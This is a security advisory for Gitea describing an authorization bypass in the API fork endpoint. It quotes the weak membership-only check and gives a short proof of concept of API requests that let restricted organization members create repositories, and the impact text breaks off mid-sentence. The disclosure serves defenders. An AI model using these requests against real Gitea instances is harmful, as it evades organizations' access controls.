GHSA-rjvx-x5h2-6px5: Gitea: API Fork Endpoint Authorization Bypass Allows Organization Members to Bypass Repository Creation Restrictions
Summary
The API endpoint used to fork repositories into organizations performs a weaker authorization check than the corresponding web UI and other repository creation endpoints.
When a repository is forked into an organization through the API, the endpoint only verifies that the user is an organization member (IsOrgMember()), but does not verify whether the user is allowed to create repositories in that organization (CanCreateOrgRepo()).
As a result, organization members belonging to teams with can_create_org_repo=false can still create repositories inside the organization by using the fork API.
Details
Affected endpoint:
POST /api/v1/repos/{owner}/{repo}/forks
In routers/api/v1/repo/fork.go, the endpoint performs the following authorization check:
if !ctx.Doer.IsAdmin {
isMember, err := org.IsOrgMember(ctx, ctx.Doer.ID)
if !isMember {
ctx.APIError(http.StatusForbidden, ...)
return
}
}
The equivalent web UI implementation uses the stronger permission check:
isAllowedToFork, err := organization.OrgFromUser(ctxUser).
CanCreateOrgRepo(ctx, ctx.Doer.ID)
The same CanCreateOrgRepo() authorization check is also used by:
- CreateOrgRepo API endpoint
- GenerateRepository API endpoint
The fork endpoint appears to be the only repository creation path that relies solely on organization membership.
Proof of Concept
Tested on Gitea 1.23.7.
1. Create an organization.
2. Create a team with can_create_org_repo=false.
3. Add a test user to that team.
4. Verify that normal repository creation is denied:
POST /api/v1/orgs/target-org/repos
Result:
403 Forbidden
5. Fork a repository into the organization:
POST /api/v1/repos/admin/public-repo/forks
Content-Type: application/json
{
"organization": "target-org"
}
Result:
202 Accepted
The repository is successfully created despite repository creation permissions being disabled.
Impact
Users who are organization members but are intentionally prevented from creating repositories can bypass that restriction through t
Details
Original advisory: https://github.com/advisories/GHSA-rjvx-x5h2-6px5
More from GitHub Security Advisories
- mediumGHSA-jr6p-8pjj-mfx6: Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators s…2026-07-31
- mediumGHSA-68cj-mvg9-rgm2: Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing…2026-07-31
- mediumGHSA-ff84-5f28-78qj: re2: Out-of-bounds heap read in `exec`/`test`/`match` via attacker-influenced `lastIndex`…2026-07-31
- mediumGHSA-6hxr-mr5r-9836: re2: Global `String.prototype.match` with an empty-matchable pattern never advances → inf…2026-07-31
- mediumGHSA-x83g-979r-f5fh: Sylius Mollie Plugin has unauthenticated IDOR that leaks order token and customer PII2026-07-31